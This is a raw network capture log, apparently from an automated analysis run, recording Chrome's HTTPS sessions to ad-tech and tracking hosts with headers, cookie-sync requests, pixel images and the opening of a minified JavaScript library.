2024-01-10 23:27:20 UTC	636	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8;Expires=Wed, 08 Jan 2025 23:27:20 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Connection: close
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.4	50185	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	814	OUT	GET /idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2C%2C HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=
2024-01-10 23:27:20 UTC	1100	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!263;Expires=Sun, 10 Mar 2024 23:27:20 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:20 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.4	50193	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	502	OUT	GET /iu/api/res/1.2/3P4FecmyTTFWH72mzXTEZQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181210/500x500/providence_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	1197	IN	HTTP/1.1 200 OK Content-Length: 2221 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 220570020137173672115380174208699507640,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 220570020137173672115380174208699507640,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "29f5e115fd41bb0a3eb57a7eaccb87be" Expiration: expiry-date="Sun, 26 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 27 Nov 2023 01:36:51 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=2221,owidth=500,oheight=500,obytes=19296 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 03 Jan 2024 05:02:10 GMT X-Served-By: cache-iad-kjyo7100084-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704258131.617905,VS0,VE1 Age: 671110 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kjyo7100084-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:20 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 1b 01 24 32 0f a0 ba 04 00 00 08 27 49 44 41 54 68 de ed 59 07 4c d4 67 14 af 1b 8c 83 aa 28 43 54 14 90 a1 6c 70 a1 02 8a 08 1c 43 c5 03 e1 0e 0e 04 0e 0e 94 0d 3d 36 32 05 b4 6a a2 51 63 d4 aa 49 35 c6 3a 12 47 dc d1 88 71 1b a5 c6 91 6a 2c d5 38 e2 96 e2 28 be be f7 ec ff df 3b 44 ab 69 d3 6b 9a 7b c9 cb f7 7d ef bf be df db df dd 57 5f e9 49 4f 7a d2 93 9e f4 a4 27 3d 7d 11 d5 2d fa b6 2f b2 64 61 c3 e2 b2 9c fc 6f 36 25 ab d2 f6 a6 a4 a6 ed 51 17 16 af 43 79 26 b2 13 f2 7f 7a f3 73 55 69 f3 0f 4e 9b 1e f0 66 84 95 15 f4 e8 d1 03 f0 92 16 f7 35 32 02 77 0f 4f Data Ascii: PNGIHDR22?pHYs&?tIME$2'IDAThYLg(CTlpC=62jQcI5:Gqj,8(;Dik{}W_IOz'=}-/dao6%QCy&zsUiNf52wO
2024-01-10 23:27:20 UTC	921	IN	Data Raw: 58 58 18 64 65 65 41 60 60 20 3c 7b f6 8c 65 ee ee ee 5c 28 4b 4b 4b 79 9d 9a 9a 0a a7 4f 9f e6 fb 0e 1f 3e 0c a7 4e 9d 02 0f 0f 0f 58 b7 6e 1d 66 3c 1b 4a 14 01 5a 40 14 f1 73 1b 65 32 19 3f 4c 1f 4c 48 48 10 b5 45 74 f0 e0 41 7e c9 89 13 27 60 d9 b2 65 f0 e4 c9 13 36 35 51 7e 7e 3e 8f e9 e9 e9 f0 f8 f1 63 b6 ca ca 95 2b e1 d1 a3 47 60 60 60 c0 9d 6e 6d 6d 2d ac 58 b1 82 65 82 d5 ea eb eb d9 2d a9 20 12 bd 7a f5 0a 96 2f 5f ce f3 a2 a2 22 1e 2d 2c 2c c4 3a 45 5e 70 f1 e2 45 88 8e 8e 66 19 65 42 04 32 50 ab c0 61 4e ff 75 c9 92 25 fc 30 dd 7c e3 c6 0d 11 14 d1 99 33 67 d8 fc 99 99 99 d0 d8 d8 c8 da a1 44 20 58 46 68 00 49 9b 74 d6 20 2b 90 2b 78 7a 7a f2 35 a9 54 ca 8a 38 70 e0 00 cb c9 7d 37 6f de cc 1b 24 05 12 d8 43 87 0e b1 f5 6f de bc 09 ab 57 af 86 Data Ascii: XXdeeA`` <{e\(KKKyO>NXnf<JZ@se2?LLHHEtA~'`e65Q~~>c+G```nmm-Xe- z/_"-,,:E^pEfeB2PaNu%0\|3gD XFhIt ++xzz5T8p}7o$CoW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	50164	50.57.31.206	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	478	OUT	GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=2ECD9A48FE9664AD
2024-01-10 23:27:20 UTC	580	IN	HTTP/1.1 200 OK Content-Type: image/gif UIP-Response-Status: Ok Frontend-ID: 2 Set-Cookie: SEUNCY=2ECD9A48FE9664AD; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Length: 42 Routing-Server-ID: -1 Access-Control-Allow-Origin: * Connection: close
2024-01-10 23:27:20 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.4	50163	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1172	OUT	GET /pcs/view?xai=AKAOjsuym782MWPdiKFwJckasVqUeeF5zFzt8rVCU47s1YAjifEpbIgmuJBFsIhEtr9GrcqnGVAaridz3JM5bcxK0Hk94ggudYZBGCtylhhXXhu_hs8UC3RzkI77EJCl6ttywzR8QPx4yeVJLswUzlfgNzOlUtTr6AXdh7jbuymxkDyQonOhLk6gdt6WMWBRPVjJe03GsGd_C7SQkRXNXo0rdB8JuWY_mhkC_buMTeXba09fxVvMrDGKuoxD-rxRkkMFIzY-kf3Ca6ebQ6iZogbcBRCeG5aOfPtWwUb7RlhlWI_NRDhiAT4lortn9uInut3gBdkXtU5zq92OdPcC5kEx7FGeGwB4Lfg6Cc7xCF3nXTNg11t01zbSrUuv_tTrJ-YUdzc-T3odAMwSW6lEzii3msjvtA&sai=AMfl-YTFcRS98GsOeCowYPdqg_mT-gFxLCWUygYSFvY_R9q8GzzWndhRFelFqN25WOZ3a4IAYZ3KoOb8tFM9nJs8g9igCCfK4UcNIWooB1VR9__2-4-gYx9XoCID1d7woaRqjep9nl_LPyR1LhwBTpSxi7Q&sig=Cg0ArKJSzJHhorAfqU1EEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:20 UTC	792	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Wed, 10 Jan 2024 23:27:20 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	50192	5.161.124.197	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	689	OUT	GET /match/bidswitch?id=${user_id}&gdpr=0&consent=&usp=&ssp=medianet&bsw=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1 Host: sync-dmp.mobtrakk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	393	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Length: 0 Connection: close Location: https://sync-dmp.mobtrakk.com/match/bidswitch?id=%24%7Buser_id%7D&gdpr=0&consent=&usp=&ssp=medianet&bsw=f6435827-796b-4521-81e9-11e581628f69&chk=1 Set-Cookie: chk=1; path=/; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.4	50195	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	514	OUT	GET /libraries/Espresso-1.7.7.js HTTP/1.1 Host: cdn.cmp.advertising.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	915	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 65235 Last-Modified: Sat, 04 Mar 2023 17:28:49 GMT x-amz-expiration: expiry-date="Wed, 02 Mar 2033 00:00:00 GMT", rule-id="EntireBucket" x-amz-server-side-encryption: AES256 x-amz-version-id: aWusOo7rHvGsdKFgJDB2.FKD35bUKSlo Accept-Ranges: bytes Server: ATS Date: Tue, 02 Jan 2024 16:15:09 GMT Cache-Control: max-age=31557600, s-maxage=31557600 ETag: "67d4a5df063111244bbbdf2a21572ceb" Vary: Accept-Encoding X-Cache: Hit from cloudfront X-Amz-Cf-Pop: LAX54-P1 X-Amz-Cf-Id: IxlBnwyLZQTFfZ-f-yTEvy-l2XPBca-V2Ji6lQDC2UCRlJd3sFYedQ== Age: 717132 Referrer-Policy: no-referrer-when-downgrade Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 5b 72 5d 29 72 65 74 75 72 6e 20 65 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 65 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 72 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 2c 6e 2e 72 3d 66 75 6e Data Ascii: !function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=fun
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 29 7b 76 61 72 20 72 3d 65 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 74 2c 72 2e 6b 65 79 2c 72 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 26 26 74 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 29 2c 72 26 26 74 28 65 2c 72 29 2c 65 7d 7d 28 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 65 78 70 6f 72 74 73 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 4d 61 74 68 3d 3d 4d Data Ascii: ){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),(0,o.default)(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}()},function(t,e){var n=t.exports="undefined"!=typeof window&&window.Math==M
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 21 6e 28 31 31 29 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 21 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 7b 7d 2c 22 61 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 7d 7d 29 2e 61 7d 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 38 29 2c 69 3d 6e 28 34 31 29 2c 6f 3d 6e 28 33 30 29 2c 75 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 65 2e 66 3d 6e 28 36 29 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 69 66 28 72 28 74 29 2c 65 3d 6f 28 65 2c 21 30 29 2c 72 28 6e 29 2c 69 29 74 72 79 7b 72 65 74 75 72 6e 20 75 28 74 2c 65 2c 6e 29 7d 63 61 74 63 68 28 Data Ascii: !n(11)(function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})},function(t,e,n){var r=n(8),i=n(41),o=n(30),u=Object.defineProperty;e.f=n(6)?Object.defineProperty:function(t,e,n){if(r(t),e=o(e,!0),r(n),i)try{return u(t,e,n)}catch(
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 61 62 6c 65 3a 21 28 34 26 74 29 2c 76 61 6c 75 65 3a 65 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 3b 76 61 72 20 72 2c 69 3d 6e 28 38 38 29 2c 6f 3d 28 72 3d 69 29 26 26 72 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 72 3a 7b 64 65 66 61 75 6c 74 3a 72 7d 3b 65 2e 64 65 66 61 75 6c 74 3d 6f 2e 64 65 66 61 75 6c 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 6e 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 Data Ascii: able:!(4&t),value:e}}},function(t,e,n){"use strict";e.__esModule=!0;var r,i=n(88),o=(r=i)&&r.__esModule?r:{default:r};e.default=o.default\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var r in n)Object.prototype.hasOwnProperty.ca
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 6c 65 22 29 26 26 28 65 3d 70 61 72 73 65 46 6c 6f 61 74 28 74 2e 72 65 70 6c 61 63 65 28 2f 73 63 61 6c 65 5c 28 7c 5c 29 2f 67 2c 22 22 29 29 2c 21 30 29 7d 29 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 29 7b 76 61 72 20 6e 3d 76 6f 69 64 20 30 21 3d 3d 74 5b 65 5d 3f 74 5b 65 5d 2e 73 70 6c 69 74 28 22 20 22 29 3a 5b 22 30 25 22 2c 22 30 25 22 5d 2c 72 3d 7b 78 3a 30 2c 79 3a 30 7d 3b 69 66 28 6e 2e 6c 65 6e 67 74 68 3e 31 29 7b 76 61 72 20 69 3d 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 6e 2c 32 29 2c 75 3d 69 5b 30 5d 2c 61 3d 69 5b 31 5d 3b 72 3d 7b 78 3a 2d 31 21 3d 3d 75 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3f 70 61 72 73 65 46 6c 6f 61 74 28 74 2e 77 69 64 74 68 29 2a 28 70 61 72 73 65 46 6c 6f 61 74 28 75 29 2f 31 30 30 29 3a 70 61 72 73 65 Data Ascii: le")&&(e=parseFloat(t.replace(/scale$\|$/g,"")),!0)}),e}function c(t){var n=void 0!==t[e]?t[e].split(" "):["0%","0%"],r={x:0,y:0};if(n.length>1){var i=(0,o.default)(n,2),u=i[0],a=i[1];r={x:-1!==u.indexOf("%")?parseFloat(t.width)*(parseFloat(u)/100):parse
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 69 6c 64 28 74 68 69 73 2e 64 69 76 29 2c 74 68 69 73 2e 64 69 76 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 28 74 3d 74 68 69 73 2e 64 69 76 29 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2e 61 70 70 6c 79 28 74 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 7b 6b 65 79 3a 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 28 74 3d 74 68 69 73 2e 64 69 76 29 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2e 61 70 70 6c 79 28 74 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 7b 6b 65 79 3a 22 72 65 6d 6f 76 65 43 68 69 6c 64 22 2c 76 61 6c 75 65 3a 66 75 6e Data Ascii: ild(this.div),this.div}},{key:"addEventListener",value:function(){var t;(t=this.div).addEventListener.apply(t,arguments)}},{key:"removeEventListener",value:function(){var t;(t=this.div).removeEventListener.apply(t,arguments)}},{key:"removeChild",value:fun
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 6f 6e 3a 73 2c 62 61 63 6b 67 72 6f 75 6e 64 53 69 7a 65 3a 6e 7d 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 54 72 61 6e 73 66 6f 72 6d 50 72 6f 70 65 72 74 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 73 74 79 6c 65 5b 74 68 69 73 2e 74 72 61 6e 73 66 6f 72 6d 65 72 5d 2e 74 72 69 6d 28 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 72 3d 65 2b 22 28 22 2c 69 3d 30 3b 72 65 74 75 72 6e 20 6e 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 2d 31 21 3d 3d 74 2e 69 6e 64 65 78 4f 66 28 72 29 26 26 28 69 3d 70 61 72 73 65 46 6c 6f 61 74 28 74 2e 72 65 70 6c 61 63 65 28 2f 5b 5e 5c 64 5e 2e 5d 2a 2f 67 2c 22 22 29 29 29 7d 29 2c 69 7d 7d 2c 7b 6b 65 79 3a 22 73 65 74 54 72 61 6e 73 66 6f 72 6d 50 72 6f 70 65 72 Data Ascii: on:s,backgroundSize:n}}},{key:"getTransformProperty",value:function(t,e){var 